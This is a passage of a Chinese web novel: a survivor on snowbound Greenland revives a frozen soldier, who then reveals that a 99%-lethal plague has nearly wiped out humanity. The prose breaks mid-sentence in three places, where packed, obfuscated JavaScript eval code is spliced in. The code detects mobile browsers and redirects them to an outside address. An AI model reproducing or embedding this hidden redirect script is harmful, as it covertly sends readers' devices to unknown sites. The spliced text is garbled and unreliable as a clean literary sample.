然而就在他完全沉浸于电影中时,闵疏笑岔了气,腰有点痛,笑声随之一停。 就在这时,闵疏在电影背景音乐之外听到了一点声音。 那声音很轻微,像是一个小石子被扔到了他的门板上,发出了’磕哒’一声。 闵疏还以为是他听错了,并没在意,接着看他的小品。 然而就在他拿起零食篮准备再吃一个酥肉时,门口又响了一声。 “磕哒!” 这次的声音比上次还要响。 闵疏动作一停,接着将电视按停,敲门的声音立刻变得清晰了起来。 外面真的有人在敲门! 闵疏诧异地回过头,心想他这是撞见鬼了?怎么最近老是有人上门。他看了眼窗外,风雪依旧呼啸着,这种天气,到底是谁会在外面? 闵疏不禁放轻了脚步走到门边,谨慎地将门打开了一条小缝。 一张布满霜雪的脸出现在他眼前。 闵疏被吓得差点摔倒在地上,诧异地长大了嘴,叫出的来人的名字:“魏、魏长川!” 只见魏长川正单腿跪在他门前,微抬着右手,整个人都被白雪覆盖,如果不是右手还有敲门的动作,看起来就像是座雕塑——刚才他就是用这只手在不断敲着中餐厅的门。 “哥!” 闵疏被吓得声音都差点撇叉。他俯身去搀扶魏长川,然而这个人似乎已经完全僵住了,闵疏搀着他,还以为自己是摸到了一块冻肉。 还是一米八接近一米九的一块冻肉,重得要死!! 闵疏吭哧吭哧地拖了半天,好不容易将魏长川弄进了门里,实在拖不动了,只能叫了只阿拉斯加犬进来咬着魏长川的后衣领将他拖到了壁炉旁。 “哥!你醒醒啊!” 闵疏被吓了个半死,伸手想拍魏长川的脸。然而手刚覆上去,闵疏就被冰得收回了手:“好冰!” 魏长川的脸色青白,连眼睫上都沾着霜雪,看起来了无生息。完全被冻成了冰块,闵疏用手贴上去感觉自己的皮肤都要被粘住了。 闵疏甚至觉得他已经死了,可试探他的鼻息,却发现魏长川还有气。 闵疏瞪着硬邦邦的男人看了半秒,忽然福至心灵,明白了什么——得先解冻! 于是他赶快跑到了卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15018922|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室里,将自己最厚实的皮毛衣服都拿了出来,一口气堆在了魏长川身上。又去浴室里拿了毛巾浸满热水,一点点将男人脸上的冰霜擦干净。 就这样过了半个小时,魏长川身上的雪缓缓化开,青白的皮肤渐渐有了血色,脸颊微微发红。闵疏见他似是缓过来了,便将男人身上湿淋淋的衣服扒了,用毛巾将雪水擦干,再用外层干燥的皮草包裹住男人。 这么反复弄了半个多小时,闵疏累的够呛,气喘吁吁地倒在一边。 过了一会儿,魏长川浓密的睫毛微微颤抖,接着缓缓睁开了眼睛。像是刚从冬眠中苏醒的动物一样,他的目光有些迷茫,好一会儿才有了焦距,转头看向闵疏。 闵疏:“哥、你醒了?“ 魏长川眨了眨眼睛,接着低下头,看到身上堆着的皮草,似乎很快就理解发生了什么,对闵疏道:“谢谢。” 闵疏瞪着他,喘着气道:“你、你没事了?” 魏长川点了点头,拨开皮草站起来,扭了扭脖子:“没事了。” 闵疏这才松了口气,瞪着他,胸膛不断上下起伏,发现方才还冻得跟支冰棍一样的人仿佛瞬间恢复了活力,他看着魏长川随意活动了几下,将被冰雪打湿的头发向后捋去,又是一条靓仔。 闵疏冷漠脸:“哦。” 他喘匀了气,从地上站起来,将地上的皮草收起来:“那这些我就拿走了。” 魏长川一顿,敏锐地感觉到闵疏的态度有些不对,但又说不出来有什么不对。他见闵疏有些费劲地去抱地上的皮草,便道:“我来吧。” 闻言,闵疏看了他一眼:“哦,好吧。” 接着青年就松了手,因为沾水而变得格外沉重的皮草’啪’地一下摔在了地上,转身就走。 魏长川:…… 他看着青年果断的背影,这下很确定闵疏的态度却是不对。 青年以往是很热情的,围着他一口一个’哥’,翘起的嘴角边挂着两个小梨涡。现在小梨涡没了,敬称也没了。他看着闵疏啪嗒啪嗒地走进屋内,不一会儿,房子里响起电影略显嘈杂的声音。 魏长川在原地站了一会儿,默默捡起了地上的衣服。 闵疏坐回了自己的小沙发上,打开电视,继续看他的电影。 背景里,他能听到地下室被打开了声音,楼下的老洗衣机开始咯吱咯吱地运转,过了一会儿,有人从地下室走了上来,出现在了客厅门口。 魏长川站在门口。闵疏装作没看见他,眼神都没骗过去半点儿,自顾自看着电影。 魏长川似乎是有些不安,在门口换了好几个姿势,最后靠在了门框上,轻咳了一声: “风暴太大,我迷失了方向。” 闵疏盯着电视屏幕:“哦。” 魏长川顿了顿,又接着说: “不过后来靠着你的地图,我找到了冰川。但是风突然变得很大,我只能在山洞里过了一夜。” 闵疏丝毫不为所动:“是吗?” 魏长川这次停顿的时间更久,接着忍不住向青年靠近了一步,声音低了些: “第三天,我从冰川上摔了下来。” 这次,闵疏放在膝头的手微微一动,终于转过了头来。然而,就在魏长川以为青年会关心自己两句的时候,他却听见青年道: “你能让开点儿吗?” 闵疏神情平淡:“你挡着我看电视了。” 魏长川:…… 他看了看离自己还有半米远的电视,又看向闵疏:“……我没有挡着你。” 闵疏冷笑道:“我视野开阔不行吗?” 魏长川沉默。 11. 询问 说完这句话,闵疏回过了头,不再理会男人。 看着青年略微有些紧绷的侧脸,魏长川罕见地感觉到了些许无措。 末世之后,他已经很久没有见过正常的活人了,更别提这种会跟他闹脾气的活人。 电视变幻的光线打在闵疏脸上,魏长川能很清楚地看见他尖尖的下颌,和略微绷紧的嘴角。不知是不是因为怕冷,青年生气的时候都是缩成一团的,两条手臂环住自己,瘦削的肩膀耸起,是个防御性的姿势。 魏长川不知道该做什么,同时又隐隐地有点怜惜青年。发脾气都这么细声细气的,要不然就是不说话,像只小猫崽,很可怜。 两个人都不说话,客厅里顿时只剩下电视里略有些模糊的嘈杂声响。 半晌后,魏长川叹了口气,走到单人沙发旁,接着直接单膝跪了下来。 他的忽然靠近让装作看电视其实一秒钟都没看进去的闵疏吓了一跳,他没想到男人会这么靠过来,一扭头,便见魏长川仰着头看着他。 “这样好点了吗?” 男人的一张帅脸上神情略带无奈:“我只是想跟你说句话。” 魏长川将姿态放得很低,几乎是跪在闵疏脚边跟他说话。而他身上现在只穿了一件白色背心,从自上而下的角度看过去,从颈侧的线条到隆起的胸肌一览无余。 闵疏:!!! 竟、竟然用美色勾引他?! 闵疏在内心发出无声的尖叫,立马乱了阵脚,但还是努力绷住了神色,紧张地抓住了沙发扶手上的布料: “说、说什么?” 魏长川笑了笑,刚想开口说话,却忽然一阵,目光不受控制地向闵疏身后飘去。 闵疏跟着他的目光转过脸,接着便看到了沙发旁边小桌上放的小酥肉。 他先是一愣,接着见魏长川真的在盯着他的酥肉不妨,神情骤然冷了下来。 好哇!这个人不告而别竟然还想吃他的肉?! 闵疏登时怒上心头,脸上刚升起的那点热度瞬间没了。 魏长川走神了一秒,刚回过神,便见闵疏正冷冷瞪着他: “这个不能吃。” 青年一把将小桌子推远,冷然道:“肉是臭的。” 魏长川:………… 好,这下是真生气了。 魏长川掐了掐眉心,稳住心神,强迫自己忽略那股香味,刚想开口说话,闵疏便劈头盖脸地道: ”哥你当我这儿是什么地方,你想来就来,想走就走?” “都跟你说了天气很差,叫你不要去,你偏要去。这样的天气连最有经验的人都会迷失方向,你连狗拉雪橇都不坐,想就靠徒步走过去?你以为你是超人吗?” 闵疏拧着眉头,真的是生气了,还想再说几句,魏长川忽然干脆利落地道: “我错了。” 闵疏没想到他会这么干脆利落地道歉,一时愣住了。 只见魏长川蹲在他身边,手肘搭在膝上,浓眉微压,态度很严肃: “是我低估了天气的危险程度,你说得对,不该在天气这么恶劣的时候去冰川。” 魏长川很认真地承认了自己的判断错误,岛上的气候之多变确实超出他的想象。再出发之前,魏长川完全做好了准备,他自信自己在当前程度的风雪之中也能辨别方向,然而就在他出发离开中餐厅仅仅三十分钟后,风雪忽然加大,能见度极具降低,积雪到了膝盖上方,天气恶劣到了几乎无法前行的地步。 而当他到达冰川脚下时,风向忽然瞬间大变,魏长川在冰舌上猝不及地迎头撞上了一股竖切风,直接被掀了下来,后脑撞在冰岩上晕了过去。彼时,在连绵数日的暴风雪下气温已经达到惊人的零下四十度,魏长川自昏迷中醒来,发觉自己已经被冰雪覆盖。从肢体的僵硬程度来看,他已经在雪地里昏迷了九十分钟以上。 魏长川估算在这种温度下、在彻底冻僵进入休眠模式之前他还有最多两个小时的时间。意识到这一点后,魏长川就知道这次行动彻底失败了。他必须以最快的速度回到中餐厅,不然他将会在这个荒原上陷入沉睡,直到春天才能解冻。 幸运的是,回程时风雪稍有减弱,魏长川得以成功返回中餐厅。 “你说得没错。” 魏长川道:“我的确不应该贸然去冰川。” 见男人如此干脆利落地认错,闵疏有点意外。 说到底他是个性格很好的人,冷静下来后,闵疏立即对刚才自己发的脾气感到了不好意思。有点尴尬地往沙发里头缩了缩,手指无意识地抓了抓沙发套,别过脸避开魏长川的目光: “……哥你没事就好。” 青年的声音低低的,语气有点别扭,也不看他。 但魏长川听了,神情上松了松,眉梢微扬。 罕见地小发了一点脾气的闵疏情绪过了,厨子的本能立刻占了上风: “哥,你这几天都没吃好吧?” 闵疏瞬间忘了刚才自己说的话,将装小酥肉的篮子塞给男人,道:“先吃这个,我去给你弄点儿吃的。” 魏长川确实在这三天里什么东西都没吃,从濒临休眠的状态下强行清醒,此刻他急的身体需能量。因此也没有推辞,从闵疏手里将那篮子接了过来,一口一个地吃起来。 闵疏则去了后厨里,将之前吃剩的土豆红烧排骨拿了出来,放锅里热了,又煮了一大把挂面,想了想,再煎了两个鸡蛋,做成了一大盆红烧排骨汤面。 等面煮好,魏长川已经将剩下的炸酥肉吃了个一干二净。两人坐在明亮的餐厅里,排骨烧土豆的香气在空气中飘散,挂面吸满了浓郁的汤汁,小香猪的排骨肥瘦均匀,肉香十足。 魏长川看起来是真的饿狠了,低着头几分钟就将面嗦了一大半。见这架势,闵疏心生不妙,赶紧回厨房又蒸了几个大包子出来。果然当他端着包子走出来时,魏长川把汤都喝干净了。 闵疏看着碗底整整齐齐排列着的、一点儿肉丝都不剩的骨头,又看了看正抓着大肉包猛吃的魏长川,蹙了蹙眉,眸中露出若有所思的神情。 肉包子个大肚圆,松软的外皮里包裹着满满的馅料。魏长川吃得很香,没多久几个大包子就下了肚,这时他才空出手,端起一旁的水杯喝了口水。 闵疏看着他吃完,面上带着些微笑问:“哥,你吃饱了吗?还有包子呢。” 魏长川点了点头,放下水杯,面上流露出丝缕饕足的神色,肢体语言很放松,他点了点头。 闵疏于是笑着道:“那哥先回答我一个问题好不好?” 闻言,魏长川一顿,抬眸看向闵疏。 闵疏:“或者给钱也行。” 魏长川:…… 闵疏笑得很纯良,迎上魏长川的视线,指了指头顶的大红色菜单,那里写着——肉馅包子5克朗一个。 魏长川当然是一分钱也没有。 人在屋檐下,不得不低头。魏长川的神情谨慎了些,将手放在了桌面上,摆出一个认真倾听的姿势: “你说,什么问题?” 闵疏得偿所愿,立即很不解地问:“哥为什么非要在天气这么坏的时候去冰川?到底有什么事这么急?” 这点他实在想不明白,魏长川不像是笨人,以这个风暴的剧烈程度,是个人应该都知道现在外出会很危险。他想不通为什么魏长川为什么不能等到天气好转再去。唯一可能的解释就是这件事非常紧急,让他等不到天气转好。 魏长川走之前什么东西都没留下,而且是趁着他还没醒来的时候就离开了。后来闵疏细细回忆过,发现魏长川确实从一开始就像是不打算久留,除了最开始的盘问之外,男人只是和他生活在一起,并没有要了解他的意思。同时魏长川也几乎从不说起自己的事情,他为什么来到这座岛上?为什么要去冰川?离开了他又要去哪?闵疏对这一切一无所知。 闵疏多多少少也感觉到了这些,所以即便他注意到了魏长川身上的种种不寻常之处,也没有主动问过。但是不问,不代表他是真的什么都不知道,也不是他不好奇。 “还有,我一开始就想问了。” 闵疏看了看魏长川,目光停留在对方透过制服能隐隐看出的肩膀线条上:“哥为什么不怕冷?这种天气,穿这么点儿就能在外面走——” 最初魏长川忽然出现时,就只穿了一身单薄的制服。如果说当时他从最近的港口来只有几公里的路程,还不算太远的话,这次去冰川可就远得多了。他四处看过,魏长川离开的时候没有携带任何食物,而此时外面除了冰雪什么都没有,方圆几公里内也没有人,他不可能在途中得到补给。 也就是说,魏长川在没有任何食物的情况下,穿着那身单薄的军装制服在零下四十几度的暴风雪中生存了三天三夜。他甚至走到了冰川,魏长川的野外生存能力简直比纽因特族最杰出的猎人还要厉害。 闵疏很确信,这不是普通人能够做到的事。甚至,听起来都不像是人类能做到的事。 闵疏皱着眉,抬眼看向魏长川,所有的疑惑最终化为一句话: “哥,你到底是什么人?” 屋外风雪呼啸,如同呜咽一般的声音隐约透过窗户传进屋内。魏长川坐在餐桌旁,一只手放在桌面上,目光沉沉地看着他。 不得不说,气氛有那么一点小诡异。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15018923|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闵疏与他沉黑的眼眸对视,骤然打了个一个冷颤,背脊忽然窜上一股寒意。 暴风雪,困在孤岛上的两个人,逐渐严肃的对话。 他脑中瞬间出现了不下十部惊悚悬疑片的片段,看着对面体格强壮、穿着一身黑的魏长川,自己把自己吓了一大跳。闵疏缩了缩脖子,把自己往椅子里缩了缩,看着魏长川的目光带上几分谨慎,小声道: “哥……” 闵疏的声音都有点发抖,紧张地咽了口唾沫:“你、你应该不会伤害我吧?” 闻言,魏长川一怔,像是有些意外。随后挑起浓黑的眉峰,扯了扯嘴角: “你乱想什么呢?” 他的表情有点讶意的无奈,看着闵疏的样子像是搞不懂他的小脑瓜里在想些什么。 闵疏一听,瞬间长疏了一口气,而后有些脸红,’嘿嘿’笑了两声,不好意思地摸了摸后脑勺: “也是,我这么脆皮,哥随便打一拳我嘎嘣一下就碎了,不用这么大费周章。” 闵疏很快把自己哄好了,魏长川如果想对他不利,之前有无数个机会可以对他动手,大可不必等到现在。 确认自己是安全的之后,闵疏就觉得自己又行了,立即接着问道: “那哥,你怎么会这么厉害啊?你到底是什么地方来的?要去冰川干什么?” 到了这个地步,闵疏意识到了魏长川的不同之处。之前他没放在心上的一些细节也再次浮上了心头: “之前哥你说是坐潜艇来的,是认真的吧?” 闵疏微微蹙起眉:“为什么哥会坐潜艇来?是因为岛上的港口和机场都关了吗?大使馆为什么会停止运营?哥盖在我护照上面的那个印章到底是什么意思?” 闵疏虽然比较佛,但并不愚蠢。在岛上困了这么久,他本就隐隐感觉到了些许不对,而随着魏长川的到来和他身上的种种怪异之处进一步加重了他的怀疑。 闵疏蹙着眉,认真地看向魏长川:“哥,外面到底发生了什么事情?” 魏长川坐在他对面,随着闵疏的一个又一个问题,姿态已经不如刚开始一般轻松。 他的浓眉压在深邃的眼眶上,脸上没什么表情,右手有一搭没一搭地在桌面上敲击着,并没有立即回答闵疏,而是凝视了他片刻,随后敛下眼: “别问了。” 他道:“我不会告诉你。” 闵疏为男人不留情面的拒绝而皱起了眉:“为什么?” 魏长川抬起眼,极近的眉眼间距天生给人以压迫感,断然道:“因为不知道对你来说更好。” 男人态度很专断,语气不容拒绝。命令人的架势很自然,似乎是已经习以为常了。 闵疏听了,蹙了蹙眉,面无表情地’哦’了一声,看着魏长川道: “那明天吃水煮冰块吧。” 他道: “哥今天吃的太油腻了,吃点清淡的比较好。” 魏长川:…… 所谓吃人嘴短,拿人手软。魏长川眉尾一跳,气势上登时短了半截。 闵疏看着他,神情淡淡:“哦,我好像刚刚才救了哥的命来着。” 魏长川:………… 闵疏抿了抿唇,垂着眼,似乎是有点伤心的:“哥吃我的住我的,连这一点问题都不能回答我吗?” 魏长川神情微变,自椅子上坐起来了些,不着痕迹地调整了一下姿势,轻咳了一声。 “……你真想知道?“ 见他让步,闵疏一下子抬起了眼,点了点头:“哥,你就告诉我吧。” 他认真地看着魏长川:“哥你也看到了,岛上的天气这么差,而且这儿只有我们两个人。至少在这儿,你需要我的帮助,我总不能什么都不知道吧?” 闻言,魏长川又深深地看了他一眼,接着敛下眼,从大衣前襟的口袋中拿出了什么,放在了餐桌上。 闵疏看过去,发现那是支录音笔。 魏长川按下端头的按钮,之后两手交叉着放在了桌面上,遂看向了闵疏: “远东基地编号070001,向幸存者进行情况解释,幸存者有权保留问询、质疑、转述,要求实体拷贝等权利,若认定传达信息与事实不符,可自行向人类存续委员会进行上诉,一切由情况解释造成的后果由幸存者自行承担。” 魏长川的声音冷静而低沉,说完这段话后,他又按了一下录音笔上的按钮,闵疏看到上面的光由红色转为闪动的绿色。 做完这个,动作,魏长川向后靠了靠,摆出了个略微放松些的姿势:“简单来说,” 他看向闵疏,直截了当地道: “世界已经灭亡了。” 12.末世 闵疏愣了足足两秒钟,才道:“世界……灭亡?” 好陌生的形容,他茫然地看着魏长川:“什么意思?” 魏长川看了他一眼,似乎在确认闵疏的状态,见他只是茫然,没有什么太过激的反应,才接着说下去:“世界灭亡只是个笼统的说法。” 他语气平静的道:“人类可居住面积小于全球地表面前5%,全球人口不足10万,人类文明存续组织在今年年初宣布了物种三级濒危警告——这是具体的情况。“ 随着男人的叙述,闵疏缓缓瞪大了眼睛。他好几秒说不出话,也几乎做不出任何反应,下意识地重复魏长川的话:“……物种、濒危?” 魏长川点了点头,道:“人类作为地球上的一个物种,已经来到灭绝的边缘。” 闵疏心神俱震,脑子里一片空白。物种濒危,这是很经常在电视里出现的词,但往往都是用来形容别的动物,他做梦也想不到有一天这个词会被用来形容人类自己。 好几分钟后,他才反应过来,下意识地询问:“……那、那华国——” 魏长川看着他,顿了顿,道:“已经没有华国了。” 闵疏愣住。 似乎是觉得自己的语气太冷硬了,魏长川顿了顿,将声音放低了些:“现在有的是人类生存基地。幸存者不分国籍,也不分种族,再进行健康甄别后,获得许可的幸存者会被就进分配到指定的基地。” 听到这里,闵疏小小地吸了口气:“那之前哥在我护照上盖的印章是?” 他记得那个印章上写了全球同行。 魏长川看了他一眼,又敛下眸,手指在桌面上划过:”字面意思,你可以进入全球任何一个基地。” 闵疏登时抽了口气,这才理解了那个印章的含金量,想到自己当时还问男人能不能擦掉,闵疏心中冒出「不识货」三个大字。 不过现在不是纠结那些的时候,闵有些急切地问道:“为什么会这样?到底发生了什么事?” 闵疏记得他出发留学之前一切都好好的,没有什么异常,这才过去八年,怎么就末世了呢? 闻言,魏长川抬起眼。他的眼眸深邃,瞳色很深,黑沉沉地透出些冷意。 “一场瘟疫。” 他平静地说,手指在桌面上点了点: “很多人感染,然后死亡,人类目前防疫效果有限,疫苗研发还未成功,没有有效的控制手段。” 魏长川的解释很简单,几乎是太简练了,似乎是知道闵疏有一肚子的问题,他直接从制服里掏出了一个小册子扔给闵疏: “自己看。” 闵疏接过册子,发现这是个没有封面的册子,只是在角落上印了「人类文明存续基地」的字样。翻开第一页,白色的纸张上面印着『仅限内部使用』几个字。闵疏一顿,他觉得自己应该不属于内部人员,遂抬头看了一眼魏长川。 男人穿着制服,一只手搭在椅背上,嘴边叼了跟香烟,却没点燃,只是咬着。 这个人应该是『内部人员』。闵疏直觉魏长川地位不低,搞不好是什么高官,于是闵疏低下头,继续看手上的册子。 翻开第一页,上面有两个显眼的大字「毒株」 纸面上有三张图片,看起来像是会出现在中学生物教科书上的内容,每个图片下面有几行小子。闵疏从左到右看过去,发现上面依次介绍了「X」,「Y」,「Z」三种毒株。 闵疏快速地读了过去,发现这是在介绍一种新型病毒,其中X毒株通过空气传播,人传人,Y毒株可以通过血液、□□以及动物粪便传播。到这里,这看起来就像是普通的病毒防治手册,然而当闵疏的目光继续向下时,却看到了令人不寒而栗的三行字。 只见X、Y两种毒株下都写了相同的两行字: 传染性:极高 致病性:极高 致死率:99% 闵疏倒吸了一口凉气。虽然他当年是文科生,但就算仅靠着生活常识和他对流行病的浅薄认知,闵疏也知道极高的传播性加上极高的致死率会造成什么样灾难性的后果。这样的病毒如果在全球广泛传播——闵疏打了个寒颤,这就是为什么全球人口会只剩下不到十万? “可是——” 闵疏的呼吸有些急促,抬起头看向魏长川:“病毒的传染性和致死率一般都不是反相关的吗?” 作为世界上或许是最古老的生物之一,病毒伴随了人类的出现以及演化的全过程。人类历史上遭遇过数次的瘟疫大流行,从威名赫赫的天花、麻风病、疟疾,到数次流行全球的流感病毒,再到近代让人闻风色变的出血热,背后都有病毒投射的阴影。 然而在病毒传播所导致的疾病中有一个几乎是个永恒的规律,病毒的致死率越高,传染性就会越低。因为宿主的快速死亡,需要依靠宿主细胞进行复制与繁殖就会失去活性,变为一般的化学物质,从而停止传染。因而高致死率的病毒往往会在极快地杀死一波感染者后因为缺少宿主而停止传播,许多历史上的大瘟疫都因为这个原因停止。 “如果是致死率99%的病毒,它为什么会大规模传播?” 闵疏问。 魏长川闻言,抬手将嘴边的烟取了下来,又放回了烟盒里,道:“因为它并不是病毒。” 魏长川收回烟盒,抬起眼,平静地说: “人们叫它病毒,不过是因为这是在人类认知中最接近的解释。” 闵疏诧异地睁大了眼睛,看着魏长川站了起来,拉着椅子坐到了闵疏身边,将册子翻过几页。闵疏顺着他所指的方向看到了纸张上写下的一段话:「对这种新型病毒,人类知之甚少,目前的研究表明在感染者死亡之后,该病毒会只需存在并且保持独立于宿主以外的复制与繁殖特性」 X毒株通过被感染者的咳嗽、打喷嚏等行为散布在空气中,并且由此悬浮在空气之中形成某种肉眼不可见的细小胶体,从此但凡接近该感染区的人光是呼吸都会被空气中悬浮的病毒感染。 另一变,Y毒株在宿主死亡后不知以何种方式竟然可以维持细胞活性,将尸体转换为某种无意识的肉块,在感染区的地面上蠕动。 在远离极地的南方,一个曾经的人口大国最先爆发了Y毒株感染,无数绝望的民众涌向位于首都中央的母亲河向神明乞求希望。他们变为了漂浮在河面上的一具具浮尸,随着死亡人数的增多,感染者留下的肉块和身体组织沉入水底,最终占满了整个河道。 而X毒株爆发的地区则成为了一个个毒气封闭区,大批居民的死亡和幸存者的逃离让一座座城市变为了由钢铁组成的瘴气森林,没有人再被允许进入。 闵疏并不知道外面的世界已经成了什么样子,可光是看见这些信息就已经让他不寒而栗。 闵疏觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15023654|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得一股寒意顺着脊背窜上,不禁打了个寒颤。人类对于疾病、特别是传染病的恐惧是刻在基因里的,就算是闵疏这样心态半死不活的人,都有点害怕,不禁抬头看向了身旁的魏长川: “那、那我——” “别怕。” 魏长川似是早有准备,抓住了闵疏略微颤抖的手:“你没有被感染。” 闵疏一听,立即长疏了一口气。接着忽然想起和魏长川初次见面的那一晚,他用什么东西在自己面前’哔’了一声,也许那就是能够确认他是否被感染的仪器。 一切事情忽然都有了解释,闵疏忽然想起了被关闭的港口和机场,他明白,是格陵兰岛的封闭与偏僻救了他。 毕竟闵疏自知自己的免疫系统就像是扇漏风的窗户,遇上这样的病毒他肯定是必死无疑的。 闵疏沉默下来,觉得心里有点堵,他盯着那本小册子,全球人口不到十万这几个字在脑海中盘旋。 他确实是怀疑外面的世界发生了什么,可是也没想到真相会是这样的。 他在岛上呆了七年,外面竟然直接变成末世了! 闵疏在震惊下感到一阵头晕,身体轻飘飘的,因为一下子受到了太多冲击,几乎有点分不清自己是在梦里还是现实。 就在这时,魏长川握着他的手忽然紧了紧,安抚般地摩擦着他的手指,又说了一声:“别怕。” 闵疏骤然清醒过来,看向魏长川。他似乎是吓到了,下意识向魏长川靠近了些: “哥——“ 闵疏看向魏长川,小声问:“真的什么办法都没有吗?” 魏长川很快回答了他:“有。” 男人的态度很坚定。他的声音里似乎有种力量,让闵疏的心一下子安定了下来。 “目前已经的手段有两个。” 魏长川道:“第一个是低温。” “温度越低,这种病毒的传播速度就越慢。” 他道:“为了阻止沦陷区病毒的进一步扩散,基地从五年前开始向大气层人工投放冷凝剂,每年全球平均温度都会因此发生不同程度的下降。” 闻言,闵疏登时反应了过来:“怪不得这几年岛上越来越冷!” 魏长川点了点头,道:“因此,现存的两个人类基地都建造在高纬度地区,东方基地在西伯利亚,西方基地在原加国北部。” “除此之外,格陵兰岛是已知的唯一人类生存区。” 闵疏恍然,这两个地方都有很鲜明的特点——够远,非常偏僻,因此跟外界的交流不多,可以较为有效地封闭传染途径。 二就是够冷,格陵兰岛大部分的国土都在北极圈内,只是病毒是冻死了,但是人也快冻死了。 闵疏觉得这个方法有点不行的,像格陵兰岛这样的地方,到底是不适合大部分人生存。或者不说大部分人,因为连年的气温下降,本来就居住在岛上的土著都快活不下去了。于是他便问道:“那第二个办法呢?” 魏长川看了他一眼,顿了顿,才微启唇,吐出两个字: “免疫。” 闵疏闻言,眼眸登时一亮,赶忙问道:“那怎么样才能免疫啊?” 魏长川回答他:“硬抗。” 闵疏:“……啊?” 魏长川神色淡淡:“感染了,活下来就能免疫,死了——” 他短暂地顿了顿,道:“那就死。” 闵疏:……… 13.天晴 听了魏长川的描述,闵疏悬着的心终于死了。 也就是说那些剩下的1%能够免疫这种病毒?这好像也不是什么有效的办法。 怪不得全球只剩下10万人…… 闵疏心情有点沉重,低着头沉默了了一会儿,抬起头看向魏长川: “哥,你是不是免疫了?” 魏长川看了他一眼,点了点头:“对。” 闵疏了然。他不觉得魏长川和他一样是没有感染过病毒的人。闵疏虽然没经历过末世,但至少也看过类似题材的小说电影什么的。魏长川既然是军人,那瘟疫爆发时应该是冲在最前线的。他们这样风里来雨里去,如果是传染性很强的病毒,在前线维护秩序的军人以及医护人员的暴露风险会很大。所以他猜测魏长川应该是免疫了,才会敢这样随意在外面走。 闵疏点了点头,对魏长川道:“哥,你好厉害啊。” 这么凶险的病毒都能免疫,闵疏觉得魏长川肯定有什么过人之处。但转念一想,这病毒这么厉害,魏长川感染的时候肯定是遭了不少罪的。 闵疏不禁担忧道:“感染的时候会有什么症状?是不是很难受?” 小册子上只说了致死率,却没说感染后的症状。 只能硬抗的病毒,听起来就很难受,闵疏自己就经常生病,所以很能体会这种痛苦。 魏长川看着他,忽然很轻地笑了笑,抬手摸了摸闵疏的头:“没事。” 闵疏莫名被揉了头发,还没反应过来,就被男人拉着小臂拽了起来。 “行了。” 魏长川从他手中拿走了小册子:“该睡觉了。” 闵疏闻言抬起头,看到墙边儿挂钟上的时间,果然已经快半夜了,是该睡了。 于是按照惯例,魏长川去洗碗,闵疏便先去洗漱,换好睡衣躺在进了被褥里,将外侧留给了魏长川。 浴室里的水声响了一会儿,然后停了,闵疏感到身边的床铺微微下陷,被窝里多了另一个人的热度。 魏长川将床头灯按灭,卧室里陷入黑暗,闵疏却有点睡不着。 他躺在床上,时不时就翻一下身,脑子里纷纷扰扰,全是魏长川刚刚跟他说的话,一闭眼就是各种纷杂的想法。 不知这样辗转反侧了多久,闵疏在有一次转身中撞上了一具温热的躯体。 闵疏猛地僵住,心里暗叫不好。 下一瞬,黑暗中发出些窸窣声,似是魏长川转过了身,朝他靠近了些。 “怎么了?” 男人声音有些低哑。 闵疏有点不好意思,小声地道:“哥,是不是我吵醒你了?” “没事。” 魏长川的声音里没有睡意,他抬手,将闵疏搂进怀里:“睡不着?” 闵疏被男人灼热的体温烫的一抖,动作不禁僵了僵。 他是个Gay,在这样清醒的状态下和魏长川身体接触下不禁有点脸红,但想到待会儿睡着了照样会被魏长川抓住,他也就释然了,决定将自己想象成个大玩偶。 魏长川多半是把他当成阿贝贝了。 闵疏这么想着,面上的绯色褪去了些,道:“……有点。” 魏长川没说什么,只是将他揽紧了些,拍了拍他的背:“别想太多。” 他说着,在闵疏鬓边吸了口气,像是闵疏身上有什么很好闻的味道似得,声音里带上了些慵懒:“睡不着就跟我说说话。” 闵疏没注意到他的小动作,想了想也睡觉,便问道:“哥还没告诉我,你为什么要去冰川?” 魏长川道:“那里有病毒。” 闵疏吃了一惊:“病毒?!” 不是说那种病毒不能在寒冷的地方传播吗? 魏长川没有过多解释:“不是那种病毒,是冰层里储藏的远古病毒。” 他闭着眼,手有一下没一下地抚过闵疏的背,像是安抚一只猫:“基地里的人觉得会有研究价值。“ 闵疏恍然大悟:“原来是这样。” 他有点高兴,有研究方向总比两眼一抹黑来的好:“那等天气好点了,我陪哥去冰川。” 魏长川微微睁开眼,不置可否地’嗯’了一声,又闭上眼,手抚着闵疏的后脑,将他的脑袋压在自己颈窝里:“睡吧。” 闵疏觉得魏长川是有点不耐烦了,不过想想也是,他肯定都不知对多少幸存者解释过这些了。于是闵疏乖顺地闭上了眼睛,不再吵他。 